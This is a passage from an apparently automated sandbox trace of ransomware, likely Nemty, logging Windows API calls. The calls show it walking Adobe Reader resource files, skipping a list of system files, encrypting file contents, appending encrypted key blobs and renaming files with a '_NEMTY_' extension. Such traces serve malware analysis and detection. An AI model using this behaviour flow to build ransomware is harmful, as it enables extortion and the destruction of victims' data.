lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x346d6870, dwHighDateTime=0x1d561e8)) [0216.073] GetLastError () returned 0x0 [0216.074] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.074] GetLastError () returned 0x0 [0216.074] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.074] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.074] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0216.074] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0216.074] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0216.074] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0216.074] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0216.074] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e5dc | out: pszString="86tnzTmMxzO47trxUbAPwwxEFgq1xdSUcF6O2Ji9gOKGqwnZNeL3Dpm7VrpjXIJU\r\nlMxQ01141N+GC6OwW+Ky78OYyw91xfwEGqd8A6JRyogByCjuLjsv7zAsmOx0pnyh\r\nyoBKvv9Ul+EQzEEE5AASUA4S0i/A2N09B2lWyYjpYXqJUQYtxOhe62EcbWwnptpw\r\nkEkr6sJeLXiGhsq7ywaNu7rm4JFqilgzt4gmD1Ttck3LrYI7pSgSgfEcEqCnEgmJ\r\n+UU68C6JvJCNnVs/rnekAsGVUOMRqUedIxUCWsVu0zGEiDEFJ5jAVhJ8/hrcmrtc\r\nOQljTr/JvRKKR+7OUP/eaQ==\r\n", pcchString=0x653e5dc) returned 1 [0216.074] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0216.074] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.074] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0216.074] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0216.074] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0216.074] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0216.074] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nb_NO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nb_no.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0216.074] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28146) returned 1 [0216.075] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6df0) returned 0x6352c48 [0216.075] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.075] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6df0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6df0, lpOverlapped=0x0) returned 1 [0216.078] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.078] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6df0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6df0, lpOverlapped=0x0) returned 1 [0216.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0216.078] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28146, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6df2 [0216.079] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0216.079] CloseHandle (hObject=0x2e8) returned 1 [0216.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0216.079] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0216.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0216.079] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0216.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0216.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0216.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0216.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0216.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0216.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0216.079] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nb_NO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nb_no.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nb_NO.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nb_no.txt._nemty_kgobjgd_")) returned 1 [0216.080] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0216.080] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0216.080] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0216.080] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.080] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.080] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.080] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.080] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0216.080] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.080] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.080] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd16b20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6dc6, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.nl.txt", cAlternateFileName="DIDFDB~1.TXT")) returned 1 [0216.080] lstrcmpiW (lpString1="DisplayLanguageNames.nl.txt", lpString2=".") returned 1 [0216.080] lstrcmpiW (lpString1="DisplayLanguageNames.nl.txt", lpString2="..") returned 1 [0216.080] lstrcmpiW (lpString1="DisplayLanguageNames.nl.txt", lpString2="...") returned 1 [0216.080] lstrcmpiW (lpString1="DisplayLanguageNames.nl.txt", lpString2="windows") returned -1 [0216.080] lstrcmpiW (lpString1="DisplayLanguageNames.nl.txt", lpString2="$RECYCLE.BIN") returned 1 [0216.080] lstrcmpiW (lpString1="DisplayLanguageNames.nl.txt", lpString2="rsa") returned -1 [0216.080] lstrcmpiW (lpString1="DisplayLanguageNames.nl.txt", lpString2="NTDETECT.COM") returned -1 [0216.080] lstrcmpiW (lpString1="DisplayLanguageNames.nl.txt", lpString2="ntldr") returned -1 [0216.080] lstrcmpiW (lpString1="DisplayLanguageNames.nl.txt", lpString2="MSDOS.SYS") returned -1 [0216.080] lstrcmpiW (lpString1="DisplayLanguageNames.nl.txt", lpString2="IO.SYS") returned -1 [0216.080] lstrcmpiW (lpString1="DisplayLanguageNames.nl.txt", lpString2="boot.ini") returned 1 [0216.080] lstrcmpiW (lpString1="DisplayLanguageNames.nl.txt", lpString2="boot.ini") returned 1 [0216.080] lstrcmpiW (lpString1="DisplayLanguageNames.nl.txt", lpString2="AUTOEXEC.BAT") returned 1 [0216.080] lstrcmpiW (lpString1="DisplayLanguageNames.nl.txt", lpString2="ntuser.dat") returned -1 [0216.080] lstrcmpiW (lpString1="DisplayLanguageNames.nl.txt", lpString2="desktop.ini") returned 1 [0216.080] lstrcmpiW (lpString1="DisplayLanguageNames.nl.txt", lpString2="CONFIG.SYS") returned 1 [0216.080] lstrcmpiW (lpString1="DisplayLanguageNames.nl.txt", lpString2="RECYCLER") returned -1 [0216.080] lstrcmpiW (lpString1="DisplayLanguageNames.nl.txt", lpString2="BOOTSECT.BAK") returned 1 [0216.080] lstrcmpiW (lpString1="DisplayLanguageNames.nl.txt", lpString2="bootmgr") returned 1 [0216.081] lstrcmpiW (lpString1="DisplayLanguageNames.nl.txt", lpString2="programdata") returned -1 [0216.081] lstrcmpiW (lpString1="DisplayLanguageNames.nl.txt", lpString2="appdata") returned 1 [0216.081] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.081] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nl.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0216.081] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.081] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nl.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.nl.txt", lpUsedDefaultChar=0x0) returned 27 [0216.081] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.081] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0216.081] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nl.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0216.081] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.081] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nl.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.nl.txt", lpUsedDefaultChar=0x0) returned 27 [0216.081] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.081] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0216.081] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.081] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.081] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nl.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0216.081] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.081] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nl.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.nl.txt", lpUsedDefaultChar=0x0) returned 27 [0216.081] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.081] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.081] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nl.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0216.081] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.081] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nl.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.nl.txt", lpUsedDefaultChar=0x0) returned 27 [0216.081] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.081] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0216.081] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0216.081] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0216.081] Sleep (dwMilliseconds=0x5) [0216.089] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x346fc9d0, dwHighDateTime=0x1d561e8)) [0216.089] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x346fc9d0, dwHighDateTime=0x1d561e8)) [0216.089] GetLastError () returned 0x0 [0216.089] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.089] GetLastError () returned 0x0 [0216.089] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.089] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.089] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0216.089] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0216.089] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0216.089] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0216.089] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0216.089] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e5dc | out: pszString="WTXqxKrVA0WNBgVYFByIOnsoe0WFsReLQuupA8n/sd4pOWUZVpUsgCWGqzVOeUrK\r\n4IBf6yb+8bYya+I+QshC/GYC4Y3YlhRSmT7qMURczWqDniIfVpdL6ODrrZrrIQA8\r\nieIj8W7Sd0337Dfb+ttWqUbLGSzovxeWMrkKlxTAgDMvKR8A75lUUjyCb27EDdto\r\nzkR9nNJCblLVUB9zTVMU4pGRwReSgCZDMUY5nZkW5A8/WAn65DFpa9Hg8wViWMqa\r\nZOfFBo0x2/n7upOVjXZ4H7IheXnBR/OalPLH8Cnr2ioGuotsJpVa/SBYQw3F3562\r\nDqH9+tl1BhLnub7vnhKCVg==\r\n", pcchString=0x653e5dc) returned 1 [0216.089] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0216.089] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.090] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0216.090] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0216.090] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0216.090] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0216.090] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0216.091] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28102) returned 1 [0216.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6dc0) returned 0x6352c48 [0216.091] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.091] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6dc0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6dc0, lpOverlapped=0x0) returned 1 [0216.094] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.094] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6dc0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6dc0, lpOverlapped=0x0) returned 1 [0216.094] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0216.094] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28102, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6dc6 [0216.094] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0216.095] CloseHandle (hObject=0x2e8) returned 1 [0216.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0216.095] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0216.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0216.095] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0216.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0216.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0216.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0216.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0216.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0216.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0216.095] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl.txt._nemty_kgobjgd_")) returned 1 [0216.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0216.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0216.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0216.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0216.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.096] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd16b20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6dd6, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.nl_BE.txt", cAlternateFileName="DI6018~1.TXT")) returned 1 [0216.096] lstrcmpiW (lpString1="DisplayLanguageNames.nl_BE.txt", lpString2=".") returned 1 [0216.096] lstrcmpiW (lpString1="DisplayLanguageNames.nl_BE.txt", lpString2="..") returned 1 [0216.096] lstrcmpiW (lpString1="DisplayLanguageNames.nl_BE.txt", lpString2="...") returned 1 [0216.096] lstrcmpiW (lpString1="DisplayLanguageNames.nl_BE.txt", lpString2="windows") returned -1 [0216.096] lstrcmpiW (lpString1="DisplayLanguageNames.nl_BE.txt", lpString2="$RECYCLE.BIN") returned 1 [0216.096] lstrcmpiW (lpString1="DisplayLanguageNames.nl_BE.txt", lpString2="rsa") returned -1 [0216.096] lstrcmpiW (lpString1="DisplayLanguageNames.nl_BE.txt", lpString2="NTDETECT.COM") returned -1 [0216.096] lstrcmpiW (lpString1="DisplayLanguageNames.nl_BE.txt", lpString2="ntldr") returned -1 [0216.096] lstrcmpiW (lpString1="DisplayLanguageNames.nl_BE.txt", lpString2="MSDOS.SYS") returned -1 [0216.096] lstrcmpiW (lpString1="DisplayLanguageNames.nl_BE.txt", lpString2="IO.SYS") returned -1 [0216.096] lstrcmpiW (lpString1="DisplayLanguageNames.nl_BE.txt", lpString2="boot.ini") returned 1 [0216.096] lstrcmpiW (lpString1="DisplayLanguageNames.nl_BE.txt", lpString2="boot.ini") returned 1 [0216.096] lstrcmpiW (lpString1="DisplayLanguageNames.nl_BE.txt", lpString2="AUTOEXEC.BAT") returned 1 [0216.096] lstrcmpiW (lpString1="DisplayLanguageNames.nl_BE.txt", lpString2="ntuser.dat") returned -1 [0216.096] lstrcmpiW (lpString1="DisplayLanguageNames.nl_BE.txt", lpString2="desktop.ini") returned 1 [0216.096] lstrcmpiW (lpString1="DisplayLanguageNames.nl_BE.txt", lpString2="CONFIG.SYS") returned 1 [0216.096] lstrcmpiW (lpString1="DisplayLanguageNames.nl_BE.txt", lpString2="RECYCLER") returned -1 [0216.096] lstrcmpiW (lpString1="DisplayLanguageNames.nl_BE.txt", lpString2="BOOTSECT.BAK") returned 1 [0216.096] lstrcmpiW (lpString1="DisplayLanguageNames.nl_BE.txt", lpString2="bootmgr") returned 1 [0216.096] lstrcmpiW (lpString1="DisplayLanguageNames.nl_BE.txt", lpString2="programdata") returned -1 [0216.096] lstrcmpiW (lpString1="DisplayLanguageNames.nl_BE.txt", lpString2="appdata") returned 1 [0216.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.096] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nl_BE.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.097] 